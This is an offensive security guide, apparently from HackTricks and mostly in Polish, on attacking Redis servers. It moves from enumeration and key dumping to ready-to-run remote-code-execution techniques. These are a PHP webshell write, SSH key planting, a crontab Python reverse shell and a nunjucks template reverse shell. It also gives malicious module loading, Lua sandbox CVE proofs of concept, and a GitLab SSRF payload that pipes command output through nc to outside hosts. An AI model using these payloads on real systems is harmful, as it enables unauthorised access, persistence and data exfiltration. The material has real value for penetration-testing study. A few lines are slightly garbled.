6379 - Pentesting Redis
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
From the docs: Redis jest oprogramowaniem open source (na licencji BSD), działającym w pamięci data structure store, używanym jako database, cache i message broker).
Domyślnie Redis używa protokołu opartego na plain-text, ale należy pamiętać, że może również obsługiwać ssl/tls. Learn how to run Redis with ssl/tls here.
Domyślny port: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
Automatic Enumeration
Kilka zautomatyzowanych narzędzi, które mogą pomóc w uzyskaniu informacji z instancji redis:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
Ręczna enumeracja
Baner
Redis to protokół oparty na tekście, możesz po prostu wysłać polecenie na socket i zwrócone wartości będą czytelne. Pamiętaj też, że Redis może działać z użyciem ssl/tls (choć to bardzo rzadkie).
W standardowej instancji Redis możesz połączyć się po prostu używając nc lub możesz też użyć redis-cli:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
Pierwsza komenda, którą możesz spróbować, to info. Może ona zwrócić wyjście z informacjami o instancji Redis lub coś w rodzaju następującego:
-NOAUTH Authentication required.
W tym ostatnim przypadku oznacza to, że potrzebujesz ważnych credentials aby uzyskać dostęp do instancji Redis.
Uwierzytelnianie w Redis
Domyślnie do Redis można uzyskać dostęp bez credentials. Jednak można go skonfigurować aby obsługiwał only password, or username + password.
Możliwe jest set a password w redis.conf pliku za pomocą parametru requirepass or temporary (aż do restartu usługi) poprzez połączenie się z nim i uruchomienie: config set requirepass p@ss$12E45.
Dodatkowo, username może być skonfigurowany w parametrze masteruser wewnątrz pliku redis.conf.
Tip
Jeśli skonfigurowano tylko password, używany username to “default”.
Zwróć też uwagę, że nie ma sposobu, by zewnętrznie ustalić czy Redis był skonfigurowany tylko z password czy z username+password.
W takich przypadkach będziesz musiał znaleźć ważne credentials, aby wchodzić w interakcję z Redis, więc możesz spróbować brute-force go.
Jeśli znajdziesz ważne credentials, musisz uwierzytelnić sesję po nawiązaniu połączenia poleceniem:
AUTH <username> <password>
Poprawne dane uwierzytelniające otrzymają odpowiedź: +OK
Uwierzytelniona enumeracja
Jeśli serwer Redis zezwala na połączenia anonimowe lub jeśli uzyskano poprawne dane uwierzytelniające, możesz rozpocząć proces enumeracji usługi, używając następujących komend:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
Inne polecenia Redis can be found here i here.
Zauważ, że polecenia Redis na instancji mogą być przemianowane lub usunięte w pliku redis.conf. Na przykład ta linia usunie polecenie FLUSHDB:
rename-command FLUSHDB ""
Więcej na temat bezpiecznej konfiguracji usługi Redis tutaj: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
Możesz także monitorować w czasie rzeczywistym polecenia Redis wykonywane poleceniem monitor lub uzyskać 25 najwolniejszych zapytań za pomocą slowlog get 25
Więcej informacji o poleceniach Redis znajdziesz tutaj: https://lzone.de/cheat-sheet/Redis
Zrzucanie bazy danych
W Redisie bazy danych to numery zaczynające się od 0. Możesz sprawdzić, czy któraś z nich jest używana, w wyniku polecenia info w sekcji “Keyspace”:
.png)
Lub możesz po prostu pobrać wszystkie keyspaces (bazy danych) za pomocą:
INFO keyspace
W tym przykładzie używane są bazy danych 0 i 1. Baza danych 0 zawiera 4 klucze, a baza danych 1 zawiera 1. Domyślnie Redis używa bazy danych 0. Aby na przykład zrzucić bazę danych 1, musisz zrobić:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
W przypadku otrzymania następującego błędu -WRONGTYPE Operation against a key holding the wrong kind of value podczas uruchamiania GET <KEY> oznacza to, że klucz może być czymś innym niż string lub integer i wymaga specjalnego operatora, aby go wyświetlić.
Aby poznać typ klucza, użyj polecenia TYPE — przykład poniżej dla kluczy typu list i hash.
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
Zrzucenie bazy danych za pomocą npm redis-dump lub python redis-utils
Redis RCE
Interactive Shell
redis-rogue-server umożliwia automatyczne uzyskanie interactive shell lub reverse shell w Redis(<=5.0.5).
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
Informacje z here. Musisz znać ścieżkę do folderu strony WWW:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
Jeśli dostęp przez webshell skończy się wyjątkiem, możesz opróżnić bazę danych po wykonaniu kopii zapasowej i spróbować ponownie — pamiętaj, aby przywrócić bazę danych.
Szablon Webshell
Podobnie jak w poprzedniej sekcji możesz też nadpisać jakiś plik szablonu html, który będzie interpretowany przez silnik szablonów i uzyskać shell.
For example, following this writeup, you can see that the attacker injected a rev shell in an html interpreted by the nunjucks template engine:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
Warning
Zwróć uwagę, że wiele silników szablonów buforuje szablony w pamięci, więc nawet jeśli je nadpiszesz, nowy szablon nie zostanie wykonany. W takich przypadkach albo deweloper pozostawił aktywne automatyczne przeładowanie, albo musisz przeprowadzić DoS na usługę (i spodziewać się, że zostanie ona automatycznie ponownie uruchomiona).
SSH
Example from here
Please be aware config get dir result can be changed after other manually exploit commands. Suggest to run it first right after login into Redis. In the output of config get dir you could find the katalog domowy of the redis user (usually /var/lib/redis or /home/redis/.ssh), and knowing this you know where you can write the authenticated_users file to access via ssh with the user redis. If you know the home of other valid user where you have writable permissions you can also abuse it:
- Wygeneruj parę kluczy publicznego-prywatnego SSH na swoim komputerze:
ssh-keygen -t rsa - Zapisz klucz publiczny do pliku :
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt - Zaimportuj plik do redis :
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key - Zapisz klucz publiczny do pliku authorized_keys na serwerze redis:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- Na końcu możesz połączyć się przez ssh z serwerem redis przy użyciu klucza prywatnego : ssh -i id_rsa redis@10.85.0.52
Ta technika jest zautomatyzowana tutaj: https://github.com/Avinash-acid/Redis-Server-Exploit
Dodatkowo użytkowników systemowych można odkryć sprawdzając za pomocą config set dir /home/USER, a po potwierdzeniu można zapisać nowy authorized_keys do /home/USER/.ssh/authorized_keys. Użyj redis-rce-ssh do bruteforce tego z listą nazw użytkowników i nadpisania authorized_keys.
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
Ostatni przykład dotyczy Ubuntu, dla Centos powyższe polecenie powinno być: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
Ta metoda może być również użyta do zarabiania bitcoinów:yam
Załaduj moduł Redis
- Postępując zgodnie z instrukcjami z https://github.com/n0b0dyCN/RedisModules-ExecuteCommand możesz skomilować moduł Redis, aby wykonywać dowolne polecenia.
- Następnie potrzebujesz sposobu na wgranie skompilowanego modułu
- Załaduj wgrany moduł w czasie wykonywania używając
MODULE LOAD /path/to/mymodule.so - Wyświetl listę załadowanych modułów aby sprawdzić, czy został poprawnie załadowany:
MODULE LIST - Wykonaj polecenia:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- Wyładuj moduł kiedy chcesz:
MODULE UNLOAD mymodule
Ominięcie sandboxa Lua
Tutaj możesz zobaczyć, że Redis używa polecenia EVAL do wykonywania kodu Lua w sandboxie. W powiązanym wpisie możesz zobaczyć jak to nadużyć używając funkcji dofile, ale wygląda na to, że to już nie jest możliwe. W każdym razie, jeśli potrafisz obejść sandbox Lua, możesz wykonywać dowolne polecenia w systemie. Również w tym samym wpisie znajdziesz opcje powodujące DoS.
Kilka CVE umożliwiających ucieczkę z Lua:
Redis Lua Scripting Engine: Ominięcia sandboxa i korupcja pamięci (CVE-2025-49844/46817/46818)
Najnowsze wydania Redis naprawiły wiele problemów w osadzonym silniku Lua, które pozwalały na ucieczkę z sandboxa, korupcję pamięci i wykonywanie kodu między użytkownikami. Te techniki mają zastosowanie gdy:
- Atakujący może się uwierzytelnić w Redis i Lua jest włączone (EVAL/EVALSHA lub FUNCTION są dostępne)
- Wersja Redis jest starsza niż 8.2.2, 8.0.4, 7.4.6, 7.2.11 lub 6.2.20
Tip: Jeśli jesteś nowy w trikach omijania sandboxa Lua, sprawdź tę stronę dla ogólnych technik:
Kontekst poprawek:
- Naprawione w: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
- Dotyczy, gdy skryptowanie Lua jest włączone i powyższe wersje nie są zastosowane
CVE-2025-49844 — GC-timed Use-After-Free w parserze Lua (lparser.c: luaY_parser)
- Pomysł: Wymusić garbage collection (GC) w chwili, gdy parser nadal odwołuje się do świeżo wstawionego TString. Gdy GC go zwolni, parser używa wskaźnika do zwolnionej pamięci (UAF) → crash/DoS i potencjalne wykonanie natywnego kodu poza sandboxem Lua.
- Strategia wywołania:
- Stwórz presję pamięci dużymi łańcuchami, aby zachęcić GC do działania
- Wymuś uruchomienie GC podczas kompilacji dużego fragmentu źródła
- Kompiluj bardzo duży skrypt Lua w pętli, aż GC zgra się z parsowaniem
Minimalny harness EVAL do reprodukcji awarii
# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0
Uwagi:
- Może być potrzebnych wiele prób, aby wyrównać GC z luaY_parser. Awaria wskazuje, że trafiono UAF.
- Aby przejść od exploitacji do RCE, wymagane są memory grooming i native code pivoting poza Redis Lua sandbox.
CVE-2025-46817 — Przepełnienie całkowitoliczbowe w unpack (lbaselib.c: luaB_unpack)
- Przyczyna: licznik
n = e - i + 1jest obliczany bez rzutowań na unsigned, więc skrajne indeksy się zawijają (wrap), powodując, że Lua próbuje unpackować znacznie więcej elementów niż istnieje → korupcja stosu i wyczerpanie pamięci. - PoC (DoS/mem exhaustion):
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
- Spodziewaj się, że serwer spróbuje zwrócić ogromną liczbę wartości i w końcu ulegnie awarii lub wystąpi OOM.
CVE-2025-46818 — Cross-user privilege escalation via basic type metatables
- Przyczyna: Podczas inicjalizacji silnika metatables dla typów podstawowych (np. strings, booleans) nie zostały ustawione jako tylko do odczytu. Każdy uwierzytelniony użytkownik może je zatruć, aby wstrzyknąć metody, które inni użytkownicy mogą później wywołać.
- Przykład (string metatable poisoning):
# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# → Returns: testfuncoutput
- Wpływ: Cross-user code execution wewnątrz sandboxa Lua, wykorzystując uprawnienia Redis ofiary. Przydatne do lateral movement/priv-esc w kontekstach ACL Redis.
Moduł Master-Slave
Operacje na master redis są automatycznie synchronizowane z slave redis, co oznacza, że możemy potraktować podatny redis jako slave redis połączony z master redis, którym sami kontrolujemy, i wtedy możemy wysłać polecenie do naszego własnego redis.
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF komunikujące się z Redis
Jeśli możesz wysłać tekst jawny żądanie do Redis, możesz komunikować się z nim, ponieważ Redis będzie czytał żądanie linia po linii i po prostu odpowie błędami na linie, których nie rozumie:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Dlatego, jeśli znajdziesz SSRF vuln na stronie i możesz kontrolować niektóre headers (może z CRLF vuln) lub POST parameters, będziesz w stanie wysyłać dowolne polecenia do Redis.
Przykład: Gitlab SSRF + CRLF do powłoki
W Gitlab11.4.7 odkryto podatność SSRF oraz CRLF. Podatność SSRF była w import project from URL functionality podczas tworzenia nowego projektu i pozwalała na dostęp do dowolnych adresów IP w formie [0:0:0:0:0:ffff:127.0.0.1] (to uzyska dostęp do 127.0.0.1), a CRLF vuln był eksploatowany po prostu przez dodanie %0D%0A znaków do URL.
W związku z tym było możliwe wykorzystanie tych podatności do komunikacji z instancją Redis, która zarządza kolejkami w gitlab i nadużycie tych kolejek, aby uzyskać wykonanie kodu. Payload do nadużycia kolejek Redis to:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
A żądanie URL encode wykorzystujące SSRF i CRLF do wykonania whoami i odesłania wyniku za pomocą nc jest:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Z jakiegoś powodu (zgodnie z autorem https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/, z którego pochodzi ta informacja) eksploatacja zadziałała przy użyciu schematu git, a nie schematu http.
References
- Recent Vulnerabilities in Redis Server’s Lua Scripting Engine (OffSec)
- NVD: CVE-2025-49844
- NVD: CVE-2025-46817
- NVD: CVE-2025-46818
- Wiz analysis of Redis RCE (CVE-2025-49844)
- PoC: CVE-2025-49844 — Lua parser UAF
- PoC: CVE-2025-46817 — unpack integer overflow
- PoC: CVE-2025-46818 — basic-type metatable abuse
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


